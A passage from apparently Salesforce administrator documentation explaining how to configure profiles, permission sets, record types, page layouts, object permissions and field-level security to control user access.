For example, to enable the Time-Off Manager app from the AppExchange, users need access to the appropriate Apex classes
and Visualforce pages, as well as the object and field permissions that allow them to create new time-off requests. The Apps
section contains links to these pages:
• Assigned Apps
• Object Settings, which include:
◊ Tab settings
◊ Record types and page layout settings
◊ Object permissions
◊ Field permissions
• App Permissions
• Apex Class Access
• Visualforce Page Access
Note: Regardless of the currently selected app, all of a user's permissions are respected. For example, although the
“Import Leads” permission is under the Sales category, a user can import leads even while in the Call Center app.
System Settings
Some system functions apply to an organization and not to any single app. For example, login hours and login IP ranges
control a user's ability to log in, regardless of which app the user accesses. Other system functions apply to all apps. For example,
the “Run Reports” and “Manage Dashboards” permissions allow managers to create and manage reports in all apps. In some
cases, such as with “Modify All Data,” a permission applies to all apps, but also includes non-app functions, like the ability to
download the Data Loader.
In the enhanced profile user interface, the System section of the overview page contains links to these pages:
• System Permissions
• Desktop Client Access
• Login Hours
• Login IP Ranges
• Service Providers (if Salesforce is enabled as an identity provider)
Searching in the Enhanced Profile User Interface
User Permissions Needed
“View Setup and Configuration”To find permissions and settings in a profile:
14
Searching in the Enhanced Profile User InterfaceSecuring and Sharing Data
On any of the profile pages, type at least three consecutive letters of an object, tab, permission, or setting name in the Find
Settings... box. The search terms aren't case-sensitive. As you type, suggestions for results that match your search terms appear
in a list. Click an item in the list to go to its settings page.
You can search for:
ExampleItem
Type sales in the Find Settings box, then select Sales from the list.Assigned apps
Type an existing object’s name. For example, let’s say you have an Albums
custom object, type albu, then select Albums.
Objects
Type the name of the object that contains the field. For example, let’s say
your Albums object contains a Description field. To find the Description
Fields
field for albums, type albu, select Albums, and scroll down to
Description under Field Permissions.
Type rep, then select Reports.Tabs
Type apex, then select Apex Class Access.Apex class access settings
Type VISU, then select Visualforce Page Access.Visualforce page access settings
Type api, then select API Enabled.App and system permissions
Type des, then select Desktop Client Access.Desktop client access settings
Type log, then select Login Hours or Login IP Ranges.
Or type ip r, then select Login IP Ranges.
Login hours and login IP ranges
Type serv, then select Service Providers.Service providers (available only if Salesforce is
enabled as an identity provider)
If no results appear in a search:
• The permission, object, tab, or setting you're searching for may not be available in the current organization.
• The item you're searching for may not be available for the user license that's associated with the current profile. For example,
a profile with the High Volume Customer Portal license doesn't include the “Modify All Data” permission.
• Be sure your search terms have at least three consecutive characters that match the name of the item you want to find.
• Be sure the search term is spelled correctly.
Working with Profiles in the Original Profile Interface
To view a profile, from Setup, click Manage Users > Profiles, then select the profile you want.
On the profile detail page, you can:
• Edit the profile
• Create a profile based on this profile
• For custom profiles only, click Delete to delete the profile
• View the users who are assigned to this profile
15
Working with Profiles in the Original Profile InterfaceSecuring and Sharing Data
Editing Profiles in the Original Profile Interface
User Permissions Needed
“Manage Users”
AND
“Customize Application”
To edit profiles:
You can edit all settings in a custom profile. In standard profiles, you can edit all settings except name, description, object
permissions, field permissions, and user permissions.
1. From Setup, click Manage Users > Profiles.
2. Select the profile you want to edit.
3. On the profile detail page, click Edit to change any of the following settings:
• For custom profiles only, the name and description
• App visibility settings
• Connected apps accessible to this profile
• Tab visibility settings
• For custom profiles only, administrative and general permissions
• For custom profiles only, object permissions
Note: Editing some permissions may automatically cause other permissions to be enabled or disabled. For
example, enabling “View All Data” automatically enables “Read” for all objects. Likewise, enabling “Transfer
Leads” automatically enables “Read” and “Create” on leads.
Tip: If enhanced profile list views are enabled for your organization, you can change permissions for multiple
profiles from the list view.
• Desktop client access settings
You can also view or edit the following settings from the profile detail page:
Procedure to View or EditSetting
Under the Console Settings section, click Edit.Console layouts for all profiles
Under the Page Layouts section, click ViewAssignment next
to an object name.
Page layouts
Under the Field-Level Security section, click View next to an
object name.
Access to fields in each object
Under the Record Type Settings section, click Edit next to a
tab name. The Edit link is available only if record types exist
for the object.
Record types
Under the Login Hours section, click Edit.Login hours
Under the Login IP Ranges section, click New, or click Edit
next to an existing IP range.
Login IP address ranges
16
Editing Profiles in the Original Profile InterfaceSecuring and Sharing Data
Procedure to View or EditSetting
Under the Enabled Apex Class Access section, click Edit.Executable Apex classes
Under the Enabled Visualforce Page Access section, click
Edit.
Executable Visualforce pages
ViewingandEditingTabSettingsinPermissionSetsandProfiles
Tab settings specify whether a tab appears in the All Tabs page or is visible in a tab set.
User Permissions Needed
“View Setup and Configuration”To view tab settings:
“Manage Users”To edit tab settings:
1. From Setup, click Manage Users, then click Permission Sets or Profiles.
2. Select a permission set or profile.
3. Do one of the following:
• Permission sets or enhanced profile user interface—In the Find Settings... box, enter the name of the tab you want
and select it from the list, then click Edit.
• Original profile user interface—Click Edit, then scroll to the Tab Settings section.
4. Specify the tab settings.
5. (Original profile user interface only) To reset users’ tab customizations to the tab visibility settings that you specify, select
Overwrite users' personal tab customizations.
6. Click Save.
Note: If Salesforce CRM Content is enabled for your organization but the SalesforceCRMContentUser checkbox
isn’t enabled on the user detail page, the Salesforce CRM Content app has no tabs.
AssigningRecordTypesandPageLayoutsintheEnhancedProfile
User Interface
User Permissions Needed
“Manage Users”
AND
“Customize Application”
To edit object permissions and settings:
In the enhanced profile user interface, Record Types and Page Layout Assignments settings determine the record type and
page layout assignment mappings that are used when users view records. They also determine which record types are available
when users create or edit records.
To specify record types and page layout assignments:
17
Viewing and Editing Tab Settings in Permission Sets and
Profiles
Securing and Sharing Data
1. From Setup, click Manage Users > Profiles.
2. Select a profile.
3. In the Find Settings... box, enter the name of the object you want and select it from the list.
4. Click Edit.
5. In the Record Types and Page Layout Assignments section, make changes to the settings as needed.
DescriptionSetting
Lists all existing record types for the object.
--Master-- is a system-generated record type that's used when a record has
no custom record type associated with it. When --Master-- is assigned, users
Record Types
can't set a record type to a record, such as during record creation. All other record
types are custom record types.
The page layout to use for each record type. The page layout determines the
buttons, fields, related lists, and other elements that users with this profile see
Page Layout Assignment
when creating records with the associated record type. Since all users can access
all record types, every record type must have a page layout assignment, even if
the record type isn't specified as an assigned record type in the profile.
Record types that are checked in this column are available when users with this
profile create records for the object. If --Master-- is selected, you can't select
Assigned Record Types
any custom record types; and if any custom record types are selected, you can't
select --Master--.
The default record type to use when users with this profile create records for the
object.
Default Record Type
The Record Types and Page Layout Assignments settings have some variations for the following objects or tabs.
VariationObject or Tab
If your organization uses person accounts, the accounts object additionally includes
Business Account Default Record Type and Person Account Default Record
Accounts
Type settings, which specify the default record type to use when the profile's
users create business or person account records from converted leads.
The cases object additionally includes CaseClose settings, which show the page
layout assignments to use for each record type on closed cases. That is, the same
Cases
record type may have different page layouts for open and closed cases. With this
additional setting, when users close a case, the case may have a different page
layout that exposes how it was closed.
You can't specify custom record types for the home tab. You can only select a
page layout assignment for the --Master-- record type.
Home
6. Click Save.
18
Assigning Record Types and Page Layouts in the Enhanced
Profile User Interface
Securing and Sharing Data
Assigning Record Types to Profiles in the Original Profile User Interface
User Permissions Needed
“Customize Application”To assign record types to profiles:
After creating record types and including picklist values in them, add record types to user profiles and assign a default record
type for each profile. When you add a record type to a profile, users with that profile can assign that record type to records
they create or edit.
Note: Any user can view records having any record type, even if the record type is not associated with their profile.
A profile can be associated with several record types. For example, a user who creates opportunities for both hardware and
software sales can have both “Hardware” and “Software” record types available when creating opportunities if both record
types have been added to the user’s profile.
1. From Setup, click Manage Users > Profiles.
2. Select a profile. The record types available for that profile are listed in the Record Type Settings section.
3. Click Edit next to the appropriate type of record.
4. Select a record type from the Available Record Types list and add it to the Selected Record Types list to make it available
to users with that profile.
Master is a system-generated record type that's used when a record has no custom record type associated with it. When
Master is assigned, users can't set a record type to a record, such as during record creation. All other record types are
custom record types.
5. From the Default drop-down list, choose a default record type.
If your organization uses person accounts, this setting also controls which account fields display in the Quick Create
area of the accounts home page.
6. If your organization uses person accounts, set additional options for the default record types for both person accounts and
business accounts. These settings are used when defaults are needed for both kinds of accounts, such as when converting
leads.
• From the Business Account Default Record Type drop-down list, choose a default record type for business
accounts.
• From the Person Account Default Record Type, choose a default record type for person accounts.
7. Click Save.
Options in the Record Type Settings section are blank wherever no record types exist. For example, if you have two record
types for opportunities but no record types for accounts, the Edit link only displays for opportunities. In this example, the
picklist values and default value for the master are available in all accounts.
Note: If your organization uses person accounts, you can view the record type defaults for business accounts and
person accounts in the Account Record Type Settings section of the profile detail page. Also, clicking Edit in that
section is an alternative way of opening the page where you set record type defaults for accounts.
19
Assigning Record Types to Profiles in the Original Profile
User Interface
Securing and Sharing Data
Assigning Page Layouts in the Original Profile User Interface
User Permissions Needed
“Manage Users”To assign page layouts:
1. From Setup, click Manage Users > Profiles.
2. Select a profile.
3. Click View Assignment next to any tab name in the Page Layouts section.
4. Click Edit Assignment.
5. Use the table to specify the page layout for each profile. The table displays the page layout assignments for each profile. If
your organization uses record types, a matrix displays a page layout selector for each profile and record type. Selected page
layout assignments are highlighted. Page layout assignments you change are italicized until you save your changes.
6. If necessary, select another page layout from the Page Layout To Use drop-down list and repeat the previous step for
the new page layout.
7. Click Save.
Permission Sets Overview
Watch a Video Tutorial: Who Sees What: Permission Sets
A permission set is a collection of settings and permissions that give users access to various tools and functions. The settings
and permissions in permission sets are also found in profiles, but permission sets extend users’ functional access without
changing their profiles. For example, to give users access to a custom object, create a permission set, enable the required
permissions for the object, and assign the permission set to the users. You never have to change profiles, or create a profile for
a single use case. While users can have only one profile, they can have multiple permission sets.
Permission sets include settings for:
• Assigned apps
• Object settings, which include:
◊ Tab settings
◊ Record type settings
◊ Object permissions
◊ Field permissions
• App permissions
• Apex class access
• Visualforce page access
• System permissions
• Service providers (only if you've enabled Salesforce as an identity provider)
Note:
• Some user licenses restrict the number of custom apps or tabs a user can access. Salesforce calculates the total
allowed number of custom tabs and assigned apps from settings in a user’s assigned profile plus any assigned
permission sets. For users with a license that restricts the number of apps or tabs, you can't assign more than the
20
Assigning Page Layouts in the Original Profile User InterfaceSecuring and Sharing Data
allotted limit through their assigned profile and permission sets. For example, a user with the Force.com App
Subscription user license with access to one Force.com Light App can access only that app’s custom tabs.
• In Group and Professional Editions, permission sets may be included in installed packages, where they can be
viewed and assigned to users but not edited.
Creating Permission Sets
User Permissions Needed
“Manage Users”To create permission sets:
You can either clone an existing permission set or create a new one. A cloned permission set starts with the same user license
and enabled permissions as the permission set it is cloned from, while a new permission set starts with no user license selected
and no permissions enabled. You can create up to 1,000 permission sets.
1. From Setup, click Manage Users > Permission Sets.
2. Do one of the following:
• To create a permission set with no permissions enabled, click New.
• To create a permission set based on an existing set, click Clone next to the set you want to copy. You can also select
the permission set and click Clone in the overview page or one of the settings pages.
Note: Clone a permission set only if the new one should have the same user license as the original. In a cloned
permission set, you can't select a different license.
3. Enter a label, API name, and description.
The API name is a unique name used by the Force.com API and managed packages. It must begin with a letter and use
only alphanumeric characters and underscores. It can't include spaces, end with an underscore, or have two consecutive
underscores.
4. If this is a new permission set, select a user license option. If you plan to assign this permission set to multiple users with
different licenses, select --None--. If only users with one type of license will use this permission set, select the user license
that’s associated with them. For more information, see About User Licenses in Permission Sets on page 21.
If you’re cloning a permission set, you can’t select a user license. If the User License field is blank, no user license is associated
with the permission set.
5. Click Save.
The permission set overview page appears. From here you can navigate to the permissions you want to add or change.
About User Licenses in Permission Sets
When creating a permission set, you can select a specific user license or --None--.
If you’re selecting a specific license, select the license that matches the users who will use the permission set. For example, if
you plan to assign this permission set to users with the Salesforce license, select Salesforce.
If you plan to assign this permission set to multiple users with different licenses, select --None--, for no user license. With
this option, you can assign the permission set to any users whose license allows the enabled permissions. For example, if you
21
Creating Permission SetsSecuring and Sharing Data
plan to assign the permission set to users with the Salesforce license as well as users with the Salesforce Platform license, select
--None--.
Note:
• Permission sets with no user license don’t include all possible permissions and settings.
• You can only assign a permission set with no license to users whose licenses allow the enabled permissions and
settings. For example, if you create a permission set with no user license and enable “Author Apex,” you can’t
assign that permission set to users with the Salesforce Platform user license because the license doesn’t allow that
permission.
Creating and Editing Permission Set List Views
User Permissions Needed
“Manage Users”To create, edit, and delete permission set list views:
You can create and edit permission set list views to show a list of permission sets with specific fields and permissions. For
example, you could create a list view of all permission sets in which “Modify All Data” is enabled.
1. In the Permission Sets page, click Create New View, or select a view and click Edit.
2. Enter the view name.
3. Under Specify Filter Criteria, specify the conditions that the list items must match, such as Modify All Data equals
True.
a. Type a setting name, or click to search for and select the setting you want.
b. Choose a filter operator.
c. Enter the value that you want to match.
Tip: To show only permission sets with no user license, enter User License for the Setting, set the
Operator to equals, and enter "" in the Value field.
d. To specify another filter condition, click Add Row. You can specify up to 25 filter condition rows.
To remove a filter condition row and clear its values, click .
4. Under Select Columns to Display, specify the settings that you want to appear as columns in the list view. You can add
up to 15 columns.
a. From the Search drop-down list, select a setting type.
b. Enter part or all of a word in the setting you want to add and click Find.
Note: If the search finds more than 500 values, no results appear. Refine your search criteria to show fewer
results.
c. To add or remove columns, select one or more column names and click the Add or Remove arrow.
d. Use the Top, Up, Down, and Bottom arrows to arrange the columns in the sequence you want.
5. Click Save, or if you're cloning an existing view, rename it and click Save As.
22
Creating and Editing Permission Set List ViewsSecuring and Sharing Data
Editing Permission Sets from a List View
User Permissions Needed
“Manage Users”
AND
“Customize Application”
To edit multiple permission sets from the list view:
You can change permissions in up to 200 permission sets directly from the list view, without accessing individual permission
sets.
Note: Use care when editing permission sets with this method. Making mass changes may have a widespread effect
on users in your organization.
1. Select or create a list view that includes the permission sets and permissions you want to edit.
2. To edit multiple permission sets, select the checkbox next to each one you want to edit. If you select permission sets on
multiple pages, the selections on each page are remembered.
3. Double-click the permission you want to edit. For multiple permission sets, double-click the permission in any of the
selected permission sets.
4. In the dialog box that appears, enable or disable the permission. In some cases, changing a permission may also change
other permissions. For example, if “Manage Cases” and “Transfer Cases” are enabled in a permission set and you disable
“Transfer Cases,” then “Manage Cases” is also disabled. In this case, the dialog box lists the affected permissions.
5. To change multiple permission sets, select All n selected records (where n is the number of permission sets you selected).
6. Click Save.
If you edit multiple permission sets, only those that support the permission you are changing will change. For example, if you
use inline editing to enable “Modify All Data” in a permission set, but because of its user license the permission set doesn't
have “Modify All Data,” the permission set won't change.
If any errors occur, the error message lists each permission set and a description of the error. Click the permission set name
to open its overview page. The permission sets you've clicked appear in the error window in gray, strike-through text.
Any changes you make are recorded in the setup audit trail.
Working in a Permission Set's Overview Page
User Permissions Needed
“View Setup and Configuration”To view permission sets:
“Manage Users”To delete permission sets and edit permission set properties:
A permission set's overview page provides an entry point for all of the permissions in a permission set. To open a permission
set overview page, from Setup, click Manage Users > Permission Sets and select the permission set you want to view.
From the permission set overview page, you can:
• Search for permissions and settings
• Create a permission set based on the current permission set
23
Editing Permission Sets from a List ViewSecuring and Sharing Data
• If it's not assigned to any users, remove the permission set by clicking Delete
• Change the permission set label, API name, or description by clicking Edit Properties
• View and manage the users assigned to the permission set
• View or edit:
◊ Assigned apps
◊ Assigned connected apps
◊ Object settings (tab and record type settings, object permissions, and field permissions)
◊ App permissions
◊ Apex class access settings
◊ Visualforce page access settings
◊ Visibility of data categories, if you've enabled them
◊ System permissions
◊ Service providers (if you've enabled Salesforce as an identity provider)
About App and System Settings in Permission Sets
In permission sets, permissions and settings are organized into app and system categories, which reflect the rights users need
to administer and use system and app resources.
App Settings
Apps are sets of tabs that users can change by selecting the drop-down menu in the header. All underlying objects, components,
data, and configurations remain the same, regardless of the selected app. In selecting an app, users navigate in a set of tabs
that allows them to efficiently use the underlying functionality for app-specific tasks. For example, let's say you do most of
your work in the sales app, which includes tabs like Accounts and Opportunities. To track a new marketing campaign, rather
than adding the Campaigns tab to the sales app, you select Marketing from the app drop-down to view your campaigns and
campaign members.
The Apps section of the permission sets overview page contains settings that are directly associated with the business processes
the apps enable. For example, customer service agents might need to manage cases, so the “Manage Cases” permission is in
the Call Center section of the App Permissions page. Some app settings aren't related to app permissions. For example, to
enable the Time-Off Manager app from the AppExchange, users need access to the appropriate Apex classes and Visualforce
pages, as well as the object and field permissions that allow them to create new time-off requests. The Apps section contains
links to:
• Assigned apps
• Object settings, which include:
◊ Tab settings
◊ Record type settings
◊ Object permissions
◊ Field permissions
• Apex class access settings
• Visualforce page access settings
System Settings
Some system functions apply to an organization and not to any single app. For example, “View Setup and Configuration”
allows users to view setup and administrative settings pages. Other system functions apply to all apps. For example, the “Run
Reports” and “Manage Dashboards” permissions allow managers to create and manage reports in all apps. In some cases, such
24
About App and System Settings in Permission SetsSecuring and Sharing Data
as with “Modify All Data,” a permission applies to all apps, but also includes non-app functions, like the ability to download
the Data Loader.
In the permission sets overview page, the System section contains links to:
• System permissions
• Service providers (if you've enabled Salesforce as an identity provider)
Permission Set Assigned Users Page
From the Assigned Users page, you can view all users who are assigned to a permission set, assign additional users, and remove
user assignments.
User Permissions Needed
“View Setup and Configuration”To view users that are assigned to a permission set:
To view all users that are assigned to a permission set, from any permission set page, click Manage Assignments. From the
Assigned Users page, you can:
• Assign users to the permission set
• Remove user assignments from the permission set
• Edit a user
• View a user's detail page by clicking the name, alias, or username
• View a profile by clicking the profile name
Searching Permission Sets
User Permissions Needed
“View Setup and Configuration”To search permission sets:
On any of the permission sets detail pages, type at least three consecutive letters of an object, setting, or permission name in
the FindSettings... box. The search terms aren't case-sensitive. As you type, suggestions for results that match your search
terms appear in a list. Click an item in the list to go to its settings page. You can search for:
ExampleItem
Type sales in the Find Settings box, then select Sales from the list.Assigned apps
Type an existing object’s name. For example, let’s say you have an Albums
custom object, type albu, then select Albums.
Objects
Type the name of the object that contains the field. For example, let’s say
your Albums object contains a Description field. To find the Description
Fields
field for albums, type albu, select Albums, and scroll down to
Description under Field Permissions.
Type an existing tab’s name. For example, type rep, then select Reports.Tabs
25
Permission Set Assigned Users PageSecuring and Sharing Data
ExampleItem
Type the name of the object that contains the record type. For example,
let’s say you want to review the record type assignments in the Contacts
object. Type conta, then select Contacts.
Record types
Type apex, then select Apex Class Access.Apex class access settings
Type VISU, then select Visualforce Page Access.Visualforce page access settings
Type api, then select API Enabled.App and System permissions
Type serv, then select Service Providers.Service providers (available only if Salesforce is
enabled as an identity provider)
If no results appear in a search:
• The permission, object, or setting you're searching for may not be available in the current organization.
• The item you're searching for may not be available for the user license that's associated with the current permission set.
For example, a permission set with the Standard Platform User license doesn't include the “Modify All Data” permission.
• Be sure your search terms have at least three consecutive characters that match the object, setting, or permission name.
• Be sure the search term is spelled correctly.
Viewing and Editing Assigned Apps in Permission Sets
Assigned app settings specify the apps that users can select in the Force.com app menu.
Available in: Enterprise, Performance, Unlimited, and Developer Editions
User Permissions Needed
“View Setup and Configuration”To view assigned app settings:
“Manage Users”To edit assigned app settings:
Unlike profiles, you can’t assign a default app in permission sets. You can only specify whether apps are visible.
To assign apps:
1. From Setup, click Manage Users > Permission Sets.
2. Select a permission set, or create one.
3. On the permission set overview page, click Assigned Apps.
4. Click Edit.
5. To assign apps, select them from the Available Apps list and click Add. To remove apps from the permission set, select
them from the Enabled Apps list and click Remove.
6. Click Save.
Assigning Custom Record Types in Permission Sets
Available in: Enterprise, Performance, Unlimited, and Developer Editions
26
Viewing and Editing Assigned Apps in Permission SetsSecuring and Sharing Data
User Permissions Needed
“Manage Users”To assign record types in permission sets:
1. From Setup, click Manage Users > Permission Sets.
2. Select a permission set, or create one.
3. On the permission set overview page, click Object Settings, then click the object you want.
4. Click Edit.
5. Select the record types you want to assign to this permission set.
6. Click Save.
Overview of Record Type Access
You can assign record types to users in their profile or permission sets, or a combination of both. Record type assignment
behaves differently in profiles and permission sets.
• A user’s default record type is specified in their profile. You can’t specify a default record type in permission sets.
• You can assign the --Master-- record type in profiles, but not permission sets; only custom record types can be assigned
in permission sets. Depending on the record types assigned in profiles:
◊ If users have --Master-- on their profile and no custom record types in their permission sets, when they create a
record, the Master record type is associated with the new record.
◊ If users have --Master-- on their profile and only one custom record type in their permission sets, when they create
a record, the new record is associated with the custom record type. Users won’t have the option to select the Master
record type.
◊ If users have --Master-- on their profile and multiple custom record types in their permission sets, when they create
a record, they’re prompted to choose a record type. In their personal settings, users don’t have the option to automatically
use their default record type.
◊ If users have a custom record type on their profile and any custom record types in their permission sets, when they
create a record, they’re prompted to choose a record type. In their personal settings, users can set an option to
automatically use their default record type and not be prompted to choose a record type.
• Page layout assignments are specified in profiles only—they’re not available in permission sets. When you assign a custom
record type in a permission set, users with that permission set get the page layout assignment that’s specified for that record
type in their profile. (In profiles, page layout assignments are specified for every record type, even when record types aren’t
assigned.)
• For lead conversion, the default record type specified in a user’s profile is used for the converted records.
• Users can view records assigned to any record type. As a result, a page layout is assigned to every record type on a user's
profile. A record type assignment on a user’s profile or permission set does not determine whether a user can view a record
with that record type; rather, the record type assignment simply specifies that the user can use that record type when
creating or editing a record.
• Record types in permission sets aren’t supported in packages and change sets. As a result, any record type assignments in
permission sets in a sandbox organization must be manually reproduced in a production organization.
Manage Permission Set Assignments
You can assign permission sets to a single user from the user detail page or assign multiple users to a permission set from any
permission set page.
• Assign Permission Sets to a Single User
27
Overview of Record Type AccessSecuring and Sharing Data
• Assign a Permission Set to Multiple Users
• Remove User Assignments from a Permission Set
Assign Permission Sets to a Single User
You can assign permission sets or remove permission set assignments for a single user from the user detail page.
User Permissions Needed
“Manage Users”To assign permission sets:
1. From Setup, click Manage Users > Users.
2. Select a user.
3. In the Permission Set Assignments related list, click Edit Assignments.
4. To assign a permission set, select it from the Available Permission Sets box and click Add. To remove a permission set
assignment, select it from the Enabled Permission Sets box and click Remove.
Note:
• The Permission Set Assignments page shows permission sets with no associated license and permission sets
that match the user's license. For example, if a user's license is Chatter Only, you can assign permission sets
with the Chatter Only license and permission sets with no associated license to that user.
If you assign a permission set with no associated user license, all of its enabled settings and permissions must
be allowed by the user’s license, or the assignment will fail.
• Some permissions require users to have permission set licenses before the user can have those permissions. For
example, if you add the “Use Identity Connect” permission to the “Identity” permission set, only users with
the Identity Connect permission set license can be assigned the “Identity” permission set.
5. Click Save.
Assign a Permission Set to Multiple Users
From any permission set page, you can assign the permission set to one or more users.
Available in: Enterprise, Performance, Unlimited, Developer, and Database.com Editions
User Permissions Needed
“Manage Users”To assign a permission set to users:
1. From Setup, click Manage Users > Permission Sets.
2. Select a permission set.
3. In the permission set toolbar, click Manage Assignments.
4. Click Add Assignments.
If any users are selected, this button isn’t available.
5. Select the users to assign to this permission set.
You can assign up to 1000 users at a time.
28
Assign Permission Sets to a Single UserSecuring and Sharing Data
Tip: Use the selected list view, select another list view, or to narrow the list of users using a different filter criteria,
create a new list view.
6. Click Assign.
7. Review the messages on the Assignment Summary page. If any users weren’t assigned, the Message column lists the reasons.
8. To return to a list of all users assigned to the permission set, click Done.
Remove User Assignments from a Permission Set
From any permission set page, you can remove the permission set assignment from one or more users.
Available in: Enterprise, Performance, Unlimited, Developer, and Database.com Editions
User Permissions Needed
“Manage Users”To remove permission set assignments:
1. From Setup, click Manage Users > Permission Sets.
2. Select a permission set.
3. In the permission set toolbar, click Manage Assignments.
4. Select the users to remove from this permission set.
You can remove up to 1000 users at a time.
5. Click Remove Assignments.
This button is only available when one or more users are selected.
6. To return to a list of all users assigned to the permission set, click Done.
Object Permissions
Object permissions either respect or override sharing rules and settings. You can enable object permissions in permission sets
and custom profiles. The following permissions specify the access that users have to objects.
Respects or Overrides
Sharing?
DescriptionPermission
Respects sharingUsers can only view records of this type.Read
Respects sharingUsers can read and create records.Create
Respects sharingUsers can read and update records.Edit
Respects sharingUsers can read, edit, and delete records.Delete
Overrides sharingUsers can view all records associated with this object, regardless
of sharing settings.
View All
29
Remove User Assignments from a Permission SetSecuring and Sharing Data
Respects or Overrides
Sharing?
DescriptionPermission
Overrides sharingUsers can read, edit, delete, transfer, and approve all records
associated with this object, regardless of sharing settings.
Modify All
Note: “Modify All” on documents allows access to
all shared and public folders, but not the ability to
edit folder properties or create new folders. To edit
folder properties and create new folders, users must
have the “Manage Public Documents” permission.
“View All” and “Modify All” Permissions Overview
The “View All” and “Modify All” permissions ignore sharing rules and settings, allowing administrators to quickly grant access
to records associated with a given object across the organization. “View All” and “Modify All” may be preferable alternatives
to the “View All Data” and “Modify All Data” permissions. Be aware of the following distinctions between the permission
types.
Users who Need themUsed forPermissions
Delegated administrators who need to manage
records for specific objects
Delegation of object permissionsView All
Modify All
Administrators of an entire organizationManaging all data in an organization; for example,
data cleansing, deduplication, mass deletion, mass
transferring, and managing record approvals
View All Data
Modify All Data
Users who need to view all users in the
organization, especially if the organization-wide
Viewing all users in the organization. This
permission grants you Read access to all users, so
View All Users
default for the user object is Private.that you can see their user record details, see them
in searches, list views, and so on. Administrators with the “Manage Users”
permission are automatically granted the “View
All Users” permission.
“View All” and “Modify All” are not available for ideas, price books, article types, and products.
“View All” and “Modify All” allow for delegation of object permissions only. To delegate user administration and custom
object administration duties, define delegated administrators.
“View All Users” is available if your organization has User Sharing, which controls user visibility in the organization. To learn
about User Sharing, see User Sharing Overview.
Comparing Security Models
Salesforce user security is an intersection of sharing, and user and object permissions. In some cases, such as in end-user record
level access, it is advantageous to use sharing to provide access to records. In other cases, such as when delegating record
administration tasks like transferring records, cleansing data, deduplicating records, mass deleting records, and delegating
workflow approval processes, it is advantageous to override sharing and use permissions to provide access to records.
30
“View All” and “Modify All” Permissions OverviewSecuring and Sharing Data
The “Read,” “Create,” “Edit,” and “Delete” permissions respect sharing settings, which control access to data at the record
level. The “View All” and “Modify All” permissions override sharing settings for specific objects. Additionally, the “View All
Data” and “Modify All Data” permissions override sharing settings for all objects.
The following table describes the differences between the security models.
Permissions that Override SharingPermissions that Respect Sharing
Delegated data administratorsEnd-usersTarget audience
“View All” and “Modify All”“Read,” “Create,” “Edit,” and “Delete”
object permissions;
Sharing settings
Where managed
“View All” and “Modify All”Private, Read-Only, Read/Write,
Read/Write/Transfer/Full Access
Record access levels
Available on all objects with “Modify All”Respects sharing settings, which vary by
object
Ability to transfer
Available on all objects with “Modify All”NoneAbility to approve records, or edit and
unlock records in an approval process
Available on all objects with “View All”Available with a sharing rule that states:
the records owned by the public group
Ability to report on all records
“Entire Organization” are shared with a
specified group, with Read-Only access
Available on most objects via object
permissions
Available on all objects except products,
documents, solutions, ideas, notes, and
attachments
Object support
Note: “View All” and “Modify
All” are not available for ideas,
price books, article types, and
products.
Profile or permission setsRoles, Roles and Subordinates, Roles and
Internal Subordinates, Roles, Internal
Group access levels determined by
and Portal Subordinates, Queues, Teams,
and Public Groups
Available on private contacts,
opportunities, and notes and attachments
with “View All” and “Modify All”
Not availablePrivate record access
Available on all objects with “Modify All”Available to the record owner and any
user above the record owner in the role
hierarchy
Ability to manually share records
Available with “Modify All” on casesNot availableAbility to manage all case comments
31
Comparing Security ModelsSecuring and Sharing Data
Field-Level Security Overview
Note: Who Sees What: Field-level Security
Watch how you can restrict access to specific fields on a profile by profile basis.
Field-level security settings let administrators restrict users’ access to view and edit specific fields in:
• Detail and edit pages
• Related lists
• List views
• Reports
• Connect Offline
• Email and mail merge templates
• Custom links
• The partner portal
• The Salesforce Customer Portal
• Synchronized data
• Imported data
The fields that users see on detail and edit pages are a combination of page layouts and field-level security settings. The most
restrictive field access settings of the two always apply. For example, if a field is required in the page layout and read-only in
the field-level security settings, the field-level security overrides the page layout and the field will be read-only for the user.
Important: Field-level security doesn’t prevent searching on the values in a field. When search terms match on field
values protected by field-level security, the associated records are returned in the search results without the protected
fields and their values.
You can define field-level security in any of the following ways:
• For multiple fields on a single permission set or profile
• For a single field on all profiles
After setting field-level security for users, you can:
• Create page layouts to organize the fields on detail and edit pages.
Tip: Use field-level security as the means to restrict users’ access to fields; then use page layouts primarily to
organize detail and edit pages within tabs. This reduces the number of page layouts for you to maintain.
• Verify users’ access to fields by checking the field accessibility.
• Customize search layouts to set the fields that display in search results, in lookup dialog search results, and in the key lists
on tab home pages.
Note: Roll-up summary and formula fields are always read-only on detail pages and not available on edit pages. They
may also be visible to users even though they reference fields that your users cannot see. Universally required fields
always display on edit pages regardless of field-level security.
The relationship group wizard allows you to create and edit relationship groups regardless of field-level security.
32
Field-Level Security OverviewSecuring and Sharing Data
Setting Field Permissions in Permission Sets and Profiles
Field permissions specify the access level for each field in an object.
User Permissions Needed
“Customize Application”To set field-level security:
1. From Setup, click Manage Users, then click Permission Sets or Profiles.
2. Select a permission set or profile.
3. Depending on which interface you're using, do one of the following:
• Permission sets or enhanced profile user interface—In the Find Settings... box, enter the name of the object you want
and select it from the list. Click Edit, then scroll to the Field Permissions section.
• Original profile user interface—In the Field-Level Security section, click View next to the object you want to modify,
and then click Edit.
4. Specify the field's access level.
5. Click Save.
Setting Field-Level Security for a Single Field on All Profiles
User Permissions Needed
“Customize Application”To set field-level security:
1. From Setup, click Customize, click a tab or activity link, and click Fields.
2. Select the field you want to modify.
3. Click Set Field-Level Security.
4. Specify the field's access level.
5. Click Save.
Field Permissions
Field permissions specify the access level for each field in an object. In permission sets and the enhanced profile user interface,
the setting labels differ from those in the original profile user interface and in field-level security pages for customizing fields.
Enabled Settings in Original Profile
and Field-Level Security Interfaces
Enabled Settings in Permission Sets
and Enhanced Profile User Interface
Access Level
VisibleRead and EditUsers can read and edit the field.
Visible and Read-OnlyReadUsers can read but not edit the field.
NoneNoneUsers can't read or edit the field.
33
Setting Field Permissions in Permission Sets and ProfilesSecuring and Sharing Data
User Permissions
User permissions specify what tasks users can perform and what features users can access. For example, users with the “View
Setup and Configuration” permission can view Setup pages, and users with the “API Enabled” user permission can access any
Salesforce API. You can enable user permissions in permission sets and profiles. In permission sets and the enhanced profile
user interface, these permissions—as well as their descriptions—are listed in the App Permissions or System Permissions
pages. In the original profile user interface, user permissions are listed under Administrative Permissions and General User
Permissions.
To view permissions and their descriptions, from Setup, click Manage Users > Permission Sets, then select or create a
permission set. Then from the Permission Set Overview page, click App Permissions or System Permissions.
Desktop Client Access Overview
Connect for Outlook, Connect Offline, Connect for Office, and Connect for Lotus Notes are desktop clients that integrate
